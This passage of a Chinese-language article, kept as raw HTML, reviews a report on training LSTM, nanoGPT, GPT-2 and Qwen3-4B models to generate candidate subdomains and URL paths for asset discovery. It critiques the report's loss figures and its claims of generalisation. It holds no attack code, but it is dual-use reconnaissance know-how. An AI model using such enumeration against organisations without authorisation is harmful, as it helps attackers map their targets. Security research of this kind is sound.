2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">从 LSTM 到 Qwen3-4B：为什么换了四代模型</span></span></h2><p cid="n549" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">报告第 49—72 页不是简单说&#34;上大模型就行&#34;，而是一段很典型的试错过程。</span></span></p><h3 cid="n550" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第一代：LSTM——能续写编号，听不懂语义</span></span></h3><p cid="n551" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">最初方案是 LSTM，逐个处理标签，根据前序序列预测下一个标签。</span></span></p><p cid="n552" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">训练样本里有 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">student1.apple.com</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，它可能学会猜 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">student2.apple.com</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。但让它从 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">student</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 跳到语义相关、字符串不相似的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">edu</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，就难得多。</span></span></p><p cid="n553" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">真正暴露问题的是第 57 页。作者把最低词频设为 5，导致 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">stage</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 和随机字符串 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">asdasd</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 都掉进 unknown token。对模型来说这两个输入变成了同一个东西，于是输出几乎相同的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">secure</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">www</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">secure2</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span></p><p cid="n554" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/lh0nrj.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="LSTM 的未知词坍缩" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000422" src="https://wechat2rss.xlab.app/img-proxy/?k=583a558b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMBVgNSZOQbCDJPIuXdhp4UIeRazicviaalIZBJfvOtE1kCHJlaIaItBPOeicqOZCymOcs0VM4sYXaOlyCSOTcaSZicoeIAyn4vXW1E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n555" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">作者随后换了更适合连字符结构的 tokenizer，</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">stage</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 不再和随机字符串一起坍缩成未知词，输出开始出现环境和地点相关候选。</span></span></p><p cid="n556" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/y2sa2s.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="修改 tokenizer 后重新识别环境片段" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000424" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=247ce26f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMAzoBlMHDo7lhOhvmIpib0uWLw6ia79iaZfIjd5cYn4jVPzKwPv1Syznlpp5fXW31ibd0DNwswVBOnew6CzmD4xCfibZsNYibBJk48DI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n557" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">有个细节值得留着：PPT 正文写最终 validation loss 约 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">1.59</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，同页训练日志显示的却接近 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">1.1596</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。不管哪个数字对，它只是 token 预测损失，不等于 DNS 命中率，更不等于发现漏洞的概率。</span></span></p><h3 cid="n558" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第二代：10.6M 参数 nanoGPT——小而快，但容易背题和残缺</span></span></h3><p cid="n559" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">作者用 nanoGPT 从头训了一个约 1,060 万参数的企业专用小模型。比 LSTM 更适合同时学服务、环境、地域和编号的组合，可以完全离线跑。但第 63 页的输出里仍然能看到重复、截断和残缺名称，训练损失与验证损失之间也有明显差距。</span></span></p><p cid="n560" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/bs4oeh.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="nanoGPT 企业专用小模型实验" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000423" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=da7d35ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMCW6lOJiajUicDcT4ypz41ILv3WfyBp1S2iaKRcsCR1RGdIicPiaqhSuu3T6gL4nk5oKp0228uWicx7ibA36S5lDjqKzEZ4cF7AsFSkuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n561" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这类模型最适合固定企业、敏感数据不出网、命名规则稳定的场景。它的优势是成本和隐私，不是天然比通用大模型聪明。</span></span></p><h3 cid="n562" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第三代：GPT-2 微调——语义更强，但仍可能是背题</span></span></h3><p cid="n563" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">PPT 列了 GPT-2 small 约 1.17 亿参数、large 约 7.62 亿参数两档，展示了一次微调实验，但没注明截图实际用的哪一档。预训练让模型先学到通用字符串和语言结构，再用目标数据微调。</span></span></p><p cid="n564" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">输出看起来更像真实企业子域，但报告没证明这些名字是训练集外的新资产，也没展示 DNS 解析率。模型可能是在泛化，也可能在记忆、重组公开数据。&#34;生成得像&#34;只能说明候选质量可能提高，不能证明发现率提高。</span></span></p><h3 cid="n565" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第四代：Qwen3-4B——在成本、上下文和本地部署之间折中</span></span></h3><p cid="n566" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">最终研究选了 Qwen3-4B。理由是现代 Transformer 架构、32K 上下文，以及性能、成本和部署之间相对均衡。</span></span></p><p cid="n567" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/8q0vbg.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="报告选择 Qwen3-4B 的原因" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000420" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=612a395b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMAnTCYj8FR6wIgwmrWymm4jO44Z4T8g7UTP9NaTtiaGxibHM6zNO2kPYBIWUiblzt2JYomCkj8JzicEEHbJqgu9K7HvA7eQm3kiclqM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n568" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">两个方向分别准备数据：子域模型覆盖 5,000 多个根域、2,200 万以上子域名；路径模型覆盖 63.2 万以上域名/子域名、2,800 万以上路径。</span></span></p><p cid="n569" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/n1hwu1.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="子域名模型训练数据规模" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000425" data-aistatus="1" 